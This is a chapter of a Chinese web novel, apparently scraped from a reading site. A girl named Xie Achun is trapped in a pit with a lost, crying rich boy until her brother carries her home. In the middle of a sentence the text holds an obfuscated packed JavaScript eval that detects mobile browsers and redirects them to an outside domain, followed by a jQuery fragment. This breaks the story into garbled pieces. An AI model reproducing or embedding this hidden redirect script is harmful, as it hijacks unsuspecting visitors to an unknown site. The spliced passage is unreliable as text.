默认冷灰
24号文字
方正启体

4. 第 4 章

作者:成酌本书字数:K更新时间:
    谢阿春一夜没睡,临早昏沉沉睡去,梦里也都是数不清的乱象。


    她被谢平安捡到时才四岁,那之前的记忆早已模糊,只每每梦里能窥见一二刀光剑影,还有冲天火光。


    再睁眼时,已是日上三竿,半敞的竹窗外洒进一片日光,四下寂寂。


    谢阿春坐起身,忽然听见窗边有动静,转头一看,一只小黄鹂扑棱翅膀蹦上窗棱,正用黑豆似的小眼打量着她。


    谢阿春露出一丝喜色,赤着脚踩下地,蹑手蹑脚走过去,小黄鹂歪了歪头,好奇地看着她动作。


    谢阿春凑到窗边,试探着伸出一根手指,想摸一摸它的背毛,还没挨着,小黄鹂猛地飞起,扑扇着翅膀给了她几巴掌,迅速飞走了。


    谢阿春呸了呸它掀起的飞灰,十分垂头丧气。这一闹也没了困意,穿上衣服后,便来到厨房舀水洗脸。


    家里很安静,谢平安从不赖床,定是早早去田里了。今年家中分了地,她原想跟着谢平安一道下地帮忙,可谢平安非说她还小,偏偏不让,为了这事,她还和谢平安吵了一架。


    厨房不大,却被谢平安收拾得很整洁,夯土垒起的灶台上,扣着一个罩子,掀开一看,一碗清粥,两样小菜还散着热气,想来谢平安中午才回来过,给她留好饭才又走了。


    谢阿春说不上什么心情,没滋没味地吃好饭,破天荒地把碗洗了,又在院里坐了会儿,等得日头越来越高,谢平安也没回来——这个点前不着村后不着店,确实不是谢平安回来的时辰。


    谢阿春心里闷得紧,想起小黄鹂,回屋揣上弹弓,把门挂好,出门往南边去。


    村南头就是上山路,路旁有片树林,许多鸟在林子里筑巢,谢阿春很喜欢去那儿呆着,心情不好就打些虫子,通通喂鸟。


    正午的树林里,不时传来“啪”“啪”的响声,每一声,都伴随着一只落地的虫子。


    有几只早发的知了,也没能逃脱她的魔掌,林子里顿时清净不少。


    很快,树下的落叶堆上就积攒了十几只叫不上名的虫子,放在往常,早有鸟儿飞来啄食,今日却不知怎的,半天都没见着一只鸟。


    谢阿春这才觉得不对劲,就算她打掉了几只知了,今天的树林也太安静了些。


    身后的草丛传来簌簌声,谢阿春倏地回身:“谁在那儿?”


    不远处的草丛摇了摇,安静了片刻,忽然往前窜去,像是某种动物,谢阿春紧跟其后,左拐右拐,那东西却忽然消失了,正当她奇怪时,脚下土地一松,猝不及防掉了下去!


    谢阿春重重摔进坑里,泥土草石掉了满头,她咳嗽几声,用手扇开尘土,头顶忽然传来大笑:“谢阿春,怎么样,爷爷我送你的大礼可还喜欢?”


    这个声音!


    “赵小宝,你教训看来没吃够?”谢阿春嗤道。


    上方坑边探出一张贴满黑色膏药的脸,赵小宝闻言往下吐了口唾沫,谢阿春嫌恶地躲开,只听他道:“呸!等下有你求着爷爷我的时候,看你还嘴硬!谢阿春,这坑可不浅,你倒看看能不能出的来?”


    谢阿春四处望了望,粗算这坑得有两个谢平安那么高,坑壁和坑底都很光滑,想来是以前村里的猎户用来抓野物的陷阱,若没有工具,倒还真难出去。


    赵小宝显然看出了她的犹豫,哼笑道:“知道怕了吧?现在给你爷爷我磕三个头,兴许我心情好,就不和你计较昨天你打我那几下,给你拉上来了。”


    谢阿春:“你大白天就做梦?”


    赵小宝恼羞成怒:“好啊谢阿春,你就嘴硬吧,铁柱哥说了,这儿偏的很,等我把坑口封上,你哭破天都没人能救你,你那长得跟个倌儿似的便宜哥来都没用!啊——”


    剩余的话戛然而止,谢阿春收回瞄准他的弹弓,冷冷道:“再让我听见你嘴里这么不干净,信不信我真打瞎你一只眼?”


    赵小宝捂着左眼,把冲到喉咙口的哽咽硬是憋了回去,这颗石头子打在他眼眶旁,正中鼻梁,疼得他眼泪决堤般狂流。


    “你有种谢阿春,你就在里头呆到死吧!”赵小宝忿忿骂了几句,开始往坑口叠树枝落叶。


    谢阿春头顶从一线亮光,慢慢变成斑驳碎影,最后变得漆黑一片。


    “走喽!”坑外赵小宝雀跃地打了个呼哨,渐渐走远,周遭彻底陷入一片静默。


    赵小宝说得对,这地方确实挺偏。


    也不知道谢平安何时能找过来。


    谢阿春并不害怕,她知道谢平安肯定能找到她,不过是时间问题。


    她干脆席地而坐,一手托腮,一手将弹弓挂在指尖,随意地转着,消磨时间。


    这是她的第二个弹弓,却是谢平安给她做的第一个。


    七岁那年,谢叔用槐树枝给她削了第一把弹弓。谢叔是个读书人,并不擅长手艺活儿,那个弹弓很粗糙,没多久就坏了。谢叔下葬时,她把断掉的弹弓放在了棺材里,一道埋进了地下。


    往后很久她没再用过弹弓,直到去年生辰,谢平安送了她一个新的。新弹弓用更坚硬的榆木做架,鹿筋做绳,威力比之前大了不知多少,她嘴上不说,实际上很喜欢,几乎从不离身。


    谢阿春想着乱七八糟的事,也不知外头过去多久,忽然听见一阵靠近的脚步声,她一振,立刻扬声道:“有人在外头吗?”


    那脚步顿了顿,像是反应了片刻,才有一道稚嫩中带着三分胆怯的声音询问:“谁……谁在说话?”


    听声音竟像是个小孩,谢阿春道:“我在下面,我被困住了,你能帮我去喊人吗?”


    那小孩道:“你在哪儿?我看不到你。”说着往这边走了走。


    “哎,你别——”


    还没说完,坑口就豁然洞开,伴随着各种树枝断裂的噼啪声,一团白色的影子咚地砸了下来!


    谢阿春眼睁睁看着他掉到面前,僵硬地补上没说完的字:“靠近……”


    “我都说了我在下面,你怎么还往这边走?”谢阿春震惊且不解,这小孩是不是有点蠢?


    那白色的一团夹在枯枝落叶里,半晌没动,谢阿春上前扒拉了两下:“喂,你没事吧?”这坑算不上多深,底下也没硬物,不至于摔死人吧?


    蜷成一团的影子微微颤了颤,谢阿春使了点力气把人翻了个个儿。


    这一翻过来不要紧,才看见一张被泥土弄脏的小花脸,一道惊天动地的哭声就破空而起,硬生生吓了谢阿春今天第一跳。


    “呜呜呜,我的脚,好疼——”


    谢阿春耳膜嗡嗡响,蹙眉道:“别哭了!喂,别哭了!”


    根本没用,无论她怎么说,眼前人就是哭个不停。


    谢阿春捂住耳朵,声音还是直往脑子里钻,没办法,只好去看他的脚,拨掉碎叶,这才看到他靴上破了一块,这鞋履也不知道什么布料,轻得好像云雾,怪不得一刮就破,哪里是常走路干活的乡人穿的?


    荒郊野外,这是从哪儿蹦出来的富家少爷?


    等脱掉鞋袜,只见他脚踝上蹭破了一小块皮,洇出的血迹早已干涸,谢阿春翻了个白眼,从他那身一看就很值钱的衣服上撕了两块碎布,草草打了个结,开口道:“好了。”


    小少爷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644013|172734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抽抽噎噎地止了哭,长睫毛抬起看了看她,又看向包得十分难看的脚,欲言又止。


    谢阿春挑起一边眉毛:“干嘛?”


    他道:“小翠她们都会给我吹一吹……”


    谢阿春:“……”吹你个头啊!


    谢阿春好险没给他来上一拳,往后一仰靠在壁上,眼不见心不烦地阖上眼。


    坑底安静了些许,片刻又响起窸窸窣窣的声响,谢阿春不耐烦地睁眼,正往她身边爬的某人立刻顿了顿。


    “我、我能坐你旁边吗?”


    谢阿春很敷衍:“随便。”


    小少爷却很高兴,三两下蹭过来,挨着她坐下,谢阿春很不习惯与人挨得这么近,但余光瞧见他含着泪光的红眼睛,到底默默忍了。


    两人静静坐了一时。


    没了遮挡,日光透过洞口斜斜射入,谢阿春计算了下,觉得再不久就该日落了,她竟然掉下来这么久。


    “你叫什么名字呀?”一旁的人忽然小心翼翼道,“我叫陶清远,清水的清,遥远的远。”


    谢阿春在想谢平安找不到她,这会儿不知道急成啥样,一时没理会。


    陶清远也不气馁,很积极地向新朋友介绍自己:“我住溪北,是新搬来的,你住附近吗?我是之前在扬州庐江住,你就是山阴人吗?你喜欢干什么?我喜欢用草编蚱蜢,还是跟小翠学的,你看,这是我编的……”


    他献宝似的从腰上取下一个竹篾编成的精致小笼,打开盖子,里头装了好几只嫩绿的草编蚱蜢,正要伸手掏,才发现新朋友似乎一点不感兴趣,眼皮一耷头一垂,低落两个字几乎写在了脸上。


    很快又想通似的,把盖子一合,双眼亮晶晶地对谢阿春道:“那你来我家玩吧?我家有很多玩具,还有很大的院子,捉蚱蜢和萤火虫都可以,有时候还能看见鸟……”


    谢阿春终于偏头看了他一眼:“什么鸟?”


    陶清远受宠若惊,立刻针对自家院子滔滔不绝地说起来,但他年纪许是小些,对鸟也没什么研究,说着说着就跑偏了,谢阿春听得兴致缺缺。


    耳边的喋喋不休声越来越远,谢阿春头一点一点,不知何时睡着了。


    迷糊中,好像有一团东西往她身边又挨近了些,发出还带着哭腔的声音:“好冷啊……我们要冻死在这儿吗?”


    “呜呜,娘亲,你在哪……我再也不乱跑出来玩了……”


    “娘亲,我想回家……”


    谢阿春做了个很长的梦。


    梦里有一轮柔和的月亮,长出了手,把她从冰天雪地里抱了起来,放在了怀里,她想,月亮原来是热的。而后月亮晃啊晃,带着她朝前走去,身后寒冷的景色渐渐远去,越往前走,道旁越开出漂亮的花。


    她觉得无比轻盈,无比快乐,于是问月亮:“我们去哪?”


    月亮说:“我们回家,阿春。”


    而后梦醒了。


    她睁开眼,眼前并没有月亮,只有一片洗得褪色的靛蓝衣裳,还有掌心下瘦弱却叫人安心的肩膀。


    “阿春?”谢平安偏头道,“吵到你了吗?”


    她往旁边扫了扫,望见一条过节长龙似的队伍,从旁匆匆游过,各个举着火把,七嘴八舌地叫着“少爷”。


    她怠懒地把头耷在谢平安肩膀上,洞里落了草叶的双丫髻左右摇了摇。


    谢平安:“睡吧,就快到家了。”


    身后没有回应,久到谢平安以为背上人已经睡着时,忽然听见一句:“谢平安,我原谅你了。”


    谢平安愣了一瞬,继而笑弯了眼:“好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)